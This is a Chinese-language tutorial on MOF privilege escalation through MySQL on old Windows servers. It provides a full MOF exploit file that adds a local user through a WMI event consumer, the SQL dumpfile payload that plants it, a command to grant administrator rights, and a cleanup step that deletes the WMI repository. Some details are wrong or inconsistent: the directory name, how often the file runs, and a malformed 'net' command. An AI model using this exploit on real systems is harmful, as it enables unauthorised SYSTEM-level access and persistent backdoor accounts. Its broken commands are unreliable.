mof提權原理
關於 mof 提權的原理其實很簡單,就是利用了 c:/windows/system32/wbem/mof/ 目錄下的 nullevt.mof 文件,每分鍾都會在一個特定的時間去執行一次的特性,來寫入我們的cmd命令使其被帶入執行。下面簡單演示下 mof 提權的過程!
MOF提權的條件要求十分嚴苛:
1.windows 03及以下版本
2.mysql啟動身份具有權限去讀寫c:/windows/system32/wbem/mof目錄
3.secure-file-priv參數不為null
MOF文件
托管對象格式 (MOF) 文件是創建和注冊提供程序、事件類別和事件的簡便方法。文件路徑為:c:/windows/system32/wbme/mof/,其作用是每隔五秒就會去監控進程創建和死亡。
提權原理
MOF文件每五秒就會執行,而且是系統權限,我們通過mysql使用load_file 將文件寫入/wbme/mof,然后系統每隔五秒就會執行一次我們上傳的MOF。MOF當中有一段是vbs腳本,我們可以通過控制這段vbs腳本的內容讓系統執行命令,進行提權
公開的nullevt.mof利用代碼
1 #pragma namespace("\\\\.\\root\\subscription") 2 instance of __EventFilter as $EventFilter 3 { 4 EventNamespace = "Root\\Cimv2"; 5 Name = "filtP2"; 6 Query = "Select * From __InstanceModificationEvent " 7 "Where TargetInstance Isa \"Win32_LocalTime\" " 8 "And TargetInstance.Second = 5"; 9 QueryLanguage = "WQL"; 10 }; 11 instance of ActiveScriptEventConsumer as $Consumer 12 { 13 Name = "consPCSV2"; 14 ScriptingEngine = "JScript"; 15 ScriptText = 16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; 17 }; 18 instance of __FilterToConsumerBinding 19 { 20 Consumer = $Consumer; 21 Filter = $EventFilter; 22 };
MOF文件利用
將上面的腳本上傳到有讀寫權限的目錄下:
這里我上傳到了C:\Documents and Settings\test
根據前面的phpmyadmin,我們使用sql語句將文件導入到c:/windows/system32/wbem/mof/
下
payload:
select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
值得一提的是,這里不能使用outfile,因為會在末端寫入新行,因此mof在被當作二進制文件無法正常執行,所以我們用dumpfile導出一行數據。
驗證提權
當我們成功把mof導出時,mof就會直接被執行,且5秒創建一次用戶。
可以看到,我們在test的普通用戶下直接添加了hpdoger用戶。剩下的操作就是用戶命令處,換成加入administrator語句即可:
net.exe user localgroup administrator hpdoger /add\
關於Mof提權的弊端
我們提權成功后,就算被刪號,mof也會在五秒內將原賬號重建,那么這給我們退出測試造成了很大的困擾,所以謹慎使用。那么我們如何刪掉我們的入侵賬號呢?
cmd 下運行下面語句:
net stop winmgmt del c:/windows/system32/wbem/repository net start winmgmt
重啟服務即可。